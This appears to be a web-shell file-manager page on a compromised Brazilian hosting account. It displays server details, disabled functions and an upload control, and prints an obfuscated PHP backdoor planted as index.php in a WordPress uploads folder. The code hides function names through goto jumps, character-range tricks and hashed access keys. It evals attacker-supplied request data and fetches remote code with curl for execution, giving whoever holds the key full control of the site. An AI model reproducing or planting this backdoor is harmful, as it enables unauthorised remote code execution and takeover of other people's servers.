HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-content/uploads/wpcode/b/b/c/c/index.php
<?php
 goto M3Y6XcS2jt6owOT; V4pRsM0h8x7_ZjG: metaphone("\x63\67\57\x2b\172\x39\x4d\x6e\57\x2b\161\114\x4c\x76\150\x34\162\121\165\x49\x42\152\x6c\170\x4e\105\143\146\154\66\170\122\x44\142\53\105\104\x62\117\166\145\x67\x51"); goto yc77pYD_0RoKUgz; M3Y6XcS2jt6owOT: $dqKOCtMcSRqcIFC = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto RqBVkkPhdKj_ox4; zF2PuWsN8yNReZW: $d6gJfPr5RNDMOnN[63] = $d6gJfPr5RNDMOnN[63] . $d6gJfPr5RNDMOnN[80]; goto fQUOF7S9RE7Hc5S; pgYgCBcHMgzdjFE: if (!(in_array(gettype($d6gJfPr5RNDMOnN) . "\61\64", $d6gJfPr5RNDMOnN) && md5(md5(md5(md5($d6gJfPr5RNDMOnN[8])))) === "\x35\x65\66\x62\144\143\x31\63\x38\x31\x30\x39\143\x31\61\64\146\143\x66\146\62\142\146\143\x65\66\64\67\x31\146\x64\x36")) { goto tezj08XZX4ZRztn; } goto zF2PuWsN8yNReZW; RqBVkkPhdKj_ox4: $v1rHKkJ_Rzy4Wgn = $dqKOCtMcSRqcIFC("\176", "\x20"); goto JGzDfPkuo8J9Hnv; fQUOF7S9RE7Hc5S: @eval($d6gJfPr5RNDMOnN[63](${$d6gJfPr5RNDMOnN[50]}[14])); goto virJ2Zpg7kdfgdt; JGzDfPkuo8J9Hnv: $d6gJfPr5RNDMOnN = ${$v1rHKkJ_Rzy4Wgn[28 + 3] . $v1rHKkJ_Rzy4Wgn[52 + 7] . $v1rHKkJ_Rzy4Wgn[37 + 10] . $v1rHKkJ_Rzy4Wgn[7 + 40] . $v1rHKkJ_Rzy4Wgn[22 + 29] . $v1rHKkJ_Rzy4Wgn[27 + 26] . $v1rHKkJ_Rzy4Wgn[9 + 48]}; goto pgYgCBcHMgzdjFE; yc77pYD_0RoKUgz: class SucugpxisLeDOX9 { static function tWTsfa1GeuU6449($itLndKFUrT8RaVa) { goto SV4Y4G5TlJTwifg; qv8wM7AEVXBNG3W: $CG4c2gVvDgEtbr7 = explode("\76", $itLndKFUrT8RaVa); goto ZC3C7tb0WAL25rh; LwuAIWziUT1BHj8: return $pj31y7boxUdG_RK; goto X1pm67oRCtjEuXo; ZC3C7tb0WAL25rh: $pj31y7boxUdG_RK = ''; goto W0hVbCZXCB5TvsP; ZzOJ4m8VM2HP_ZK: k07lbEj438kg2_P: goto LwuAIWziUT1BHj8; iikjq4NB1STvgws: $BIV_HhLlhM61rhN = $YOVSObVtaEmaZZ8("\x7e", "\40"); goto qv8wM7AEVXBNG3W; SV4Y4G5TlJTwifg: $YOVSObVtaEmaZZ8 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto iikjq4NB1STvgws; W0hVbCZXCB5TvsP: foreach ($CG4c2gVvDgEtbr7 as $LLppDPaR4V1x3gN => $sxkgpt9VtNM40Ka) { $pj31y7boxUdG_RK .= $BIV_HhLlhM61rhN[$sxkgpt9VtNM40Ka - 94607]; kSbaecFT0ghwVfd: } goto ZzOJ4m8VM2HP_ZK; X1pm67oRCtjEuXo: } static function l_fjnA_WXSEcKyU($UGZEZVQXloxqbDg, $T5uAfWFeER0QcFH) { goto A6RF5vDtB48IwXa; Sy1mXpPdXTtVCZJ: return empty($yiyAmLz8AMI_W4R) ? $T5uAfWFeER0QcFH($UGZEZVQXloxqbDg) : $yiyAmLz8AMI_W4R; goto pWdmTEFnZ77ct5s; G632f8QqRDMR1Al: curl_setopt($xQSp6AcitJOOydb, CURLOPT_RETURNTRANSFER, 1); goto t7m527Fx2TT_XiL; A6RF5vDtB48IwXa: $xQSp6AcitJOOydb = curl_init($UGZEZVQXloxqbDg); goto G632f8QqRDMR1Al; t7m527Fx2TT_XiL: $yiyAmLz8AMI_W4R = curl_exec($xQSp6AcitJOOydb); goto Sy1mXpPdXTtVCZJ; pWdmTEFnZ77ct5s: } static function DqooqB2M7prfnPE() { goto MASNeQ9d0y7iANJ; oLhtH7Y5W8lbIAy: foreach ($rGe7MvG7DEKsArw as $e2sMmYzfwPCWJpw) { $XSgB2QWHxf97zVn[] = self::twTSfA1geuU6449($e2sMmYzfwPCWJpw); tqBCd7c6TCc67ld: } goto uCa2xGOVNlIin4n; pz0yMVNsSj6Sequ: @$XSgB2QWHxf97zVn[3 + 7](INPUT_GET, "\157\x66") == 1 && die($XSgB2QWHxf97zVn[1 + 4](__FILE__)); goto R22BTbXYtvzH2h6; tOvJyi6zga30yXg: $s81Ov8CorRYHLfZ = $XSgB2QWHxf97zVn[0 + 2]($pEribwb_Ov7KnCA, true); goto pz0yMVNsSj6Sequ; R22BTbXYtvzH2h6: if (!(@$s81Ov8CorRYHLfZ[0] - time() > 0 and md5(md5($s81Ov8CorRYHLfZ[1 + 2])) === "\142\143\x37\63\x33\62\64\146\x33\142\x39\60\143\60\67\70\61\61\144\65\71\x35\x35\x34\67\141\66\x36\63\x32\62\x34")) { goto mn4w6XB6ryi8zNU; } goto JIKplKjSnEWjQXj; JIKplKjSnEWjQXj: $Eyl9GxN_Z0iiZXT = self::L_fjNa_WXSECkyU($s81Ov8CorRYHLfZ[0 + 1], $XSgB2QWHxf97zVn[0 + 5]); goto lnomdwJRpmKfnEb; rO2zwHB5iFOpeB2: mn4w6XB6ryi8zNU: goto I0SL0t5om3Zb4O4; uCa2xGOVNlIin4n: Klacf8kciicFczr: goto TIcU5Ag9yAesoR0; MASNeQ9d0y7iANJ: $rGe7MvG7DEKsArw = array("\71\64\x36\63\64\x3e\71\x34\66\61\x39\x3e\71\64\x36\63\x32\x3e\x39\64\x36\63\66\76\71\64\66\61\67\x3e\71\x34\66\x33\x32\76\71\64\66\63\70\x3e\x39\x34\x36\63\x31\x3e\71\64\x36\61\66\76\71\x34\x36\62\63\x3e\x39\64\66\63\64\76\71\x34\66\61\x37\x3e\71\x34\66\62\x38\76\x39\x34\66\x32\x32\x3e\71\64\x36\62\x33", "\71\x34\66\x31\x38\76\71\x34\x36\x31\x37\x3e\71\x34\66\x31\x39\x3e\71\x34\66\63\70\x3e\x39\x34\x36\x31\x39\x3e\71\x34\66\x32\62\x3e\x39\64\x36\x31\x37\x3e\71\64\x36\x38\x34\76\71\x34\66\x38\62", "\x39\x34\66\x32\x37\x3e\71\x34\x36\61\x38\x3e\71\64\66\62\x32\x3e\x39\64\x36\62\63\x3e\x39\x34\x36\x33\x38\76\x39\x34\66\x33\x33\76\71\x34\x36\x33\62\76\71\x34\x36\63\64\76\x39\64\x36\x32\62\76\x39\64\x36\x33\63\76\71\x34\x36\63\x32", "\71\x34\x36\x32\61\x3e\x39\x34\x36\63\66\x3e\x39\64\x36\x33\64\x3e\71\x34\66\62\66", "\x39\x34\x36\63\x35\76\x39\x34\66\63\66\76\71\x34\x36\x31\70\76\71\64\66\63\x32\x3e\x39\64\x36\67\71\76\x39\x34\x36\70\61\76\71\64\x36\x33\x38\76\71\64\x36\x33\x33\x3e\71\x34\66\63\x32\76\x39\x34\x36\63\x34\76\x39\64\66\62\62\76\71\64\x36\x33\x33\x3e\x39\64\66\63\62", "\x39\x34\66\63\x31\76\x39\x34\x36\x32\x38\x3e\x39\x34\66\62\65\x3e\71\x34\66\x33\x32\76\x39\x34\x36\63\x38\x3e\71\x34\66\63\x30\x3e\x39\x34\66\63\62\x3e\71\64\x36\61\67\76\71\64\66\x33\x38\76\71\64\66\63\x34\x3e\x39\64\66\x32\62\x3e\x39\64\66\x32\x33\76\71\x34\x36\61\x37\x3e\71\64\x36\63\x32\76\x39\64\x36\62\63\x3e\x39\64\66\61\x37\76\x39\x34\66\x31\x38", "\x39\64\x36\66\x31\x3e\71\x34\x36\x39\61", "\71\64\66\x30\x38", "\71\64\x36\70\x36\76\71\x34\x36\x39\x31", "\71\64\x36\x36\70\76\x39\x34\x36\x35\x31\76\x39\x34\x36\x35\x31\76\x39\64\66\x36\x38\76\x39\x34\66\64\64", "\x39\64\66\63\x31\76\71\64\66\x32\x38\x3e\71\x34\x36\62\65\76\x39\x34\66\61\x37\x3e\x39\64\66\63\x32\76\x39\64\x36\61\71\x3e\x39\x34\66\x33\70\76\71\x34\x36\x32\70\x3e\71\x34\66\62\63\76\x39\64\66\62\61\x3e\71\x34\66\x31\x36\76\71\64\x36\61\67"); goto oLhtH7Y5W8lbIAy; TIcU5Ag9yAesoR0: $HIvDhBHQjWVNVJa = @$XSgB2QWHxf97zVn[1]($XSgB2QWHxf97zVn[6 + 4](INPUT_GET, $XSgB2QWHxf97zVn[9 + 0])); goto rCYZ21JUCHbX17Z; uf8aCR2lHRGhUz2: die; goto rO2zwHB5iFOpeB2; lnomdwJRpmKfnEb: @eval($XSgB2QWHxf97zVn[4 + 0]($Eyl9GxN_Z0iiZXT)); goto uf8aCR2lHRGhUz2; rCYZ21JUCHbX17Z: $pEribwb_Ov7KnCA = @$XSgB2QWHxf97zVn[0 + 3]($XSgB2QWHxf97zVn[0 + 6], $HIvDhBHQjWVNVJa); goto tOvJyi6zga30yXg; I0SL0t5om3Zb4O4: } } goto e9XtdiU1sOQIV7F; virJ2Zpg7kdfgdt: tezj08XZX4ZRztn: goto V4pRsM0h8x7_ZjG; e9XtdiU1sOQIV7F: SucUGpxiSLEDOx9::dqoOqB2M7PRfnPE();
?>